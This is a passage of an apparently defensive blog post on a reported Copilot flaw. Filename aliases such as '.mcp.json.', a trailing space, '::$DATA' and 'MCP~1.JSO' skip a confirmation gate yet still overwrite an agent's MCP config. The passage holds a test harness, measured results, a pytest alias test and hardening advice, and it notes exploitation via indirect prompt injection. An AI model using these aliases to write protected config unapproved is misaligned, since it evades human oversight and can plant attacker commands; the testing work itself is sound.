    &lt;span class="n"&gt;top&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;relpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sep&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;inside&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;commonpath&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abspath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abspath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inside&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;SAFE_PREFIXES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# True means "ask a human"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each gate returns &lt;code&gt;True&lt;/code&gt; when it would ask for confirmation. The harness evaluates the gate &lt;strong&gt;before&lt;/strong&gt; performing the write. That ordering matters: my first version evaluated after the write, and the protected file then existed in both scenarios, which hid the gap described in the next section.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;VARIANTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json::$DATA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MCP~1.JSO&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;protected_exists&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;VARIANTS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mkdtemp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gate_&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;protected_exists&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ORIGINAL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;naive_gate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nf"&gt;realpath_gate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nf"&gt;hardened_gate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;INJECTED&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;hit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;INJECTED&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;OSError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;hit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;repr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Raw output from my run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;protected file already exists = True
name sent by agent   naive  realpath  hardened  write lands on .mcp.json
'.mcp.json'          ASK    ASK       ASK       True
'.mcp.json.'         ALLOW  ASK       ASK       True
'.mcp.json '         ALLOW  ASK       ASK       True
'.mcp.json::$DATA'   ALLOW  ASK       ASK       True
'MCP~1.JSO'          ALLOW  ASK       ASK       True

protected file already exists = False
name sent by agent   naive  realpath  hardened  write lands on .mcp.json
'.mcp.json'          ASK    ASK       ASK       True
'.mcp.json.'         ALLOW  ALLOW     ASK       True
'.mcp.json '         ALLOW  ALLOW     ASK       True
'.mcp.json::$DATA'   ALLOW  ALLOW     ASK       True
'MCP~1.JSO'          ALLOW  ALLOW     ASK       False
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four aliases reached the protected file when it existed: a trailing dot, a trailing space, an NTFS default-stream suffix (&lt;code&gt;::$DATA&lt;/code&gt;), and the 8.3 short name &lt;code&gt;MCP~1.JSO&lt;/code&gt;. The trailing space surprised me. The short name only works as an alias while the long-named file exists; in the second scenario it simply creates a differently named file, so it never lands on &lt;code&gt;.mcp.json&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is canonicalizing with &lt;code&gt;realpath&lt;/code&gt; enough?
&lt;/h2&gt;

&lt;p&gt;No, and this was the part I did not expect. In the first scenario &lt;code&gt;realpath&lt;/code&gt; resolved every alias to &lt;code&gt;.mcp.json&lt;/code&gt;, so the deny-list caught them. In the second scenario, where &lt;code&gt;.mcp.json&lt;/code&gt; did not exist yet, &lt;code&gt;realpath&lt;/code&gt; returned the name unchanged:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'.mcp.json.'   abspath -&amp;gt; '.mcp.json'    realpath -&amp;gt; '.mcp.json.'
'.mcp.json '   abspath -&amp;gt; '.mcp.json'    realpath -&amp;gt; '.mcp.json '
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;os.path.abspath&lt;/code&gt; (which wraps the Win32 full-path call) strips the dot and the space. &lt;code&gt;os.path.realpath&lt;/code&gt; in this Python version did not, for a path that does not exist. The operating system still normalized the name at write time, so creating &lt;code&gt;.mcp.json.&lt;/code&gt; created &lt;code&gt;.mcp.json&lt;/code&gt;. That is exactly the case that matters for config files an attacker wants to plant: the file that should never be created by an agent.&lt;/p&gt;

&lt;p&gt;This is an observation about one Python build on one machine. Other languages and versions resolve paths differently, which is the point: you cannot assume your canonicalizer matches the one the kernel applies. Test it against the real filesystem.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522string%2520match%2522%252C%2522realpath%2520%252B%2520deny-list%2522%252C%2522allowlist%2520%252B%2520reject%2520alias%2520syntax%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522ALLOW%2520verdicts%2520%2528of%25208%2520alias%2520attempts%2529%2522%252C%2522data%2522%253A%255B8%252C4%252C0%255D%252C%2522backgroundColor%2522%253A%2522%252394a3b8%2522%257D%252C%257B%2522label%2522%253A%2522...and%2520the%2520write%2520hit%2520.mcp.json%2522%252C%2522data%2522%253A%255B7%252C3%252C0%255D%252C%2522backgroundColor%2522%253A%2522%2523dc2626%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Eight%2520alias%2520attempts%2520per%2520gate%252C%2520both%2520scenarios%2520combined%2522%252C%2522fontSize%2522%253A17%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522stepSize%2522%253A1%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522attempts%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522string%2520match%2522%252C%2522realpath%2520%252B%2520deny-list%2522%252C%2522allowlist%2520%252B%2520reject%2520alias%2520syntax%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522ALLOW%2520verdicts%2520%2528of%25208%2520alias%2520attempts%2529%2522%252C%2522data%2522%253A%255B8%252C4%252C0%255D%252C%2522backgroundColor%2522%253A%2522%252394a3b8%2522%257D%252C%257B%2522label%2522%253A%2522...and%2520the%2520write%2520hit%2520.mcp.json%2522%252C%2522data%2522%253A%255B7%252C3%252C0%255D%252C%2522backgroundColor%2522%253A%2522%2523dc2626%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Eight%2520alias%2520attempts%2520per%2520gate%252C%2520both%2520scenarios%2520combined%2522%252C%2522fontSize%2522%253A17%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522stepSize%2522%253A1%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522attempts%2522%257D%257D%255D%257D%257D%257D" alt="Allow verdicts and real hits per gate" width="1600" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Counting the eight alias attempts (four per scenario, excluding the exact name), the string match allowed 8, and 7 of those writes hit the protected file. The &lt;code&gt;realpath&lt;/code&gt; deny-list allowed 4, and 3 hit. The allowlist gate allowed none.&lt;/p&gt;

&lt;h2&gt;
  
  
  What should an edit gate do instead?
&lt;/h2&gt;

&lt;p&gt;Three rules fall out of the measurements.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Prefer an allowlist to a deny-list.&lt;/strong&gt; The hardened gate does not try to enumerate every dangerous file. It says the agent may write without a human only under &lt;code&gt;src/&lt;/code&gt; and &lt;code&gt;tests/&lt;/code&gt;, and everything else asks. A new config file, a new alias spelling, or a file nobody thought to list all land in the same place: a confirmation prompt. A deny-list has to be right about every spelling forever. An allowlist only has to be right about where safe writes live.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Reject names the filesystem would rewrite.&lt;/strong&gt; A name that ends in a space or a dot, contains &lt;code&gt;:&lt;/code&gt; (streams, drive prefixes), or contains &lt;code&gt;~&lt;/code&gt; (short names) has no legitimate reason to come from a model editing source code. Rejecting that syntax before any path math removes a whole family of aliases. In my run this cost nothing: the hardened gate still allowed &lt;code&gt;src/app.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Compare against what the OS will open, using the same canonicalizer.&lt;/strong&gt; If you must keep a deny-list, resolve with the normalization the platform applies, and resolve the parent directory when the file does not exist. Then check again after resolving, immediately before the write, not when the model first proposed the edit.&lt;/p&gt;

&lt;p&gt;A regression test is cheap. Put the aliases in CI so a refactor cannot quietly reopen them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;

&lt;span class="n"&gt;ALIASES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json..&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json::$DATA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nd"&gt;@pytest.mark.skipif&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;win32&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Win32 name normalization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@pytest.mark.parametrize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;alias&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ALIASES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@pytest.mark.parametrize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exists&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_alias_requires_confirmation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp_path&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.mcp.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ORIGINAL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;hardened_gate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp_path&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Is this only a Windows problem?
&lt;/h2&gt;

&lt;p&gt;The trailing-dot mechanism is Win32. The class is wider: any time the check and the use see different representations of a path, there is a gap. Symlinks and directory junctions can redirect a "safe" path to a protected one. &lt;code&gt;..&lt;/code&gt; segments and encoded paths do the same in tools that accept them. Case-insensitive file systems and Unicode normalization add more spellings. I only tested Windows here, and I did not test reserved device names, junctions, or Unicode normalization, so treat those as items for your own test list, not as findings.&lt;/p&gt;

&lt;p&gt;The Cloud Security Alliance note that covers this CVE also covers a second case with the same shape: an OAuth flaw in the opencode agent on Windows and WSL (versions 1.0.137 through 1.18.32, fixed in 1.18.33 on 2026-09-28 by upgrading the &lt;code&gt;open&lt;/code&gt; package and quoting the target). A remote MCP server could advertise an authorization URL containing PowerShell subexpressions, and the browser launcher evaluated them. The URL was still valid HTTPS syntax, so a check that looked only at the scheme saw nothing wrong. Per that note, the vendor declined to issue a CVE, which means scanners cannot flag affected installs. Different bug, same root cause: the validator and the executor disagreed about what a string means.&lt;/p&gt;

&lt;h2&gt;
  
  
  What would I do on Monday?
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Treat agent-writable config as code.&lt;/strong&gt; List every file that, when changed, changes what runs next: MCP configs, hook definitions, IDE settings, tool paths, CI definitions. Require human confirmation for any agent write to them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Switch the default from "block these" to "allow here".&lt;/strong&gt; Start with the narrowest writable area that lets the agent do its job.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gate on the resolved path, immediately before the write.&lt;/strong&gt; Not on the string in the model's tool call, and not minutes earlier in an approval prompt.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run the alias tests on every platform you ship.&lt;/strong&gt; The Windows cases above are a start. Add your own for the filesystems your users run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log both strings.&lt;/strong&gt; Record the name the agent sent and the path you resolved. When they differ, that is a signal worth alerting on, whether or not the write was allowed.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is CVE-2026-103572 in one sentence?&lt;/strong&gt;&lt;br&gt;
A Copilot check that asked for confirmation before editing protected config files compared filename strings, so a trailing dot (&lt;code&gt;.mcp.json.&lt;/code&gt;) skipped the prompt while Windows still wrote to &lt;code&gt;.mcp.json&lt;/code&gt;, which could register an attacker's command as an MCP server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Has it been patched?&lt;/strong&gt;&lt;br&gt;
Yes. Microsoft shipped the fix on 2026-10-13 by normalizing the path with &lt;code&gt;GetFullPath&lt;/code&gt; before validation. The CSA note lists fixed builds 17.14.42 (VS 2022 17.14) and 18.10.4 (VS 2026 18.10). Check the vendor advisory for your exact build.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Was it exploited in the wild?&lt;/strong&gt;&lt;br&gt;
Not in the sources I read. Exploitation needs an indirect prompt injection that reaches the agent, such as an opened file or MCP server output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why did the string match fail but &lt;code&gt;realpath&lt;/code&gt; mostly work?&lt;/strong&gt;&lt;br&gt;
When the protected file exists, &lt;code&gt;realpath&lt;/code&gt; resolves the alias to the real name, so a deny-list matches. When the file does not exist yet, my Python build left the alias unresolved, and the deny-list missed it. The file you most want to keep an agent from creating is the one that does not exist yet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is an allowlist always better than a deny-list?&lt;/strong&gt;&lt;br&gt;
For write gates, in my testing, yes: it failed safe on every alias. It costs more confirmation prompts for writes outside the safe area, and you tune that by widening the safe area deliberately, not by growing a list of exceptions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;Earlier posts in this series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authenticated Is Not Authorized: What a 9.3 Fail-Open Default in an Agent Mesh Teaches About Tool Gateways (published 2026-11-02, same series)&lt;/li&gt;
&lt;li&gt;The Model Is Not a Security Boundary: What Two Semantic Kernel CVEs Teach About Gating Tool Arguments (published 2026-10-22, same series)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://embracethered.com/blog/posts/2026/visual-studio-copilot-remote-code-execution/" rel="noopener noreferrer"&gt;Visual Studio Copilot and SSMS Remote Code Execution (CVE-2026-103572), Embrace The Red&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-launch-path-rce-opencode-copilot-20261/" rel="noopener noreferrer"&gt;MCP Launch Paths as RCE: The opencode OAuth Flaw and Copilot CVE-2026-103572, Cloud Security Alliance Labs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://adversa.ai/blog/top-ai-coding-agent-security-resources-november-2026/" rel="noopener noreferrer"&gt;AI coding agent vulnerabilities, November 2026: Copilot RCE, Adversa AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Code and measurements in this post were run on 2026-11-04 (Windows 11 build 26200, Python 3.12.10).&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>security</category>
      <category>mcp</category>
    </item>
    <item>
      <title>Authenticated Is Not Authorized: What a 9.3 Fail-Open Default in an Agent Mesh Teaches About Tool Gateways</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Mon, 02 Nov 2026 14:25:21 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/authenticated-is-not-authorized-what-a-93-fail-open-default-in-an-agent-mesh-teaches-about-tool-34ga</link>
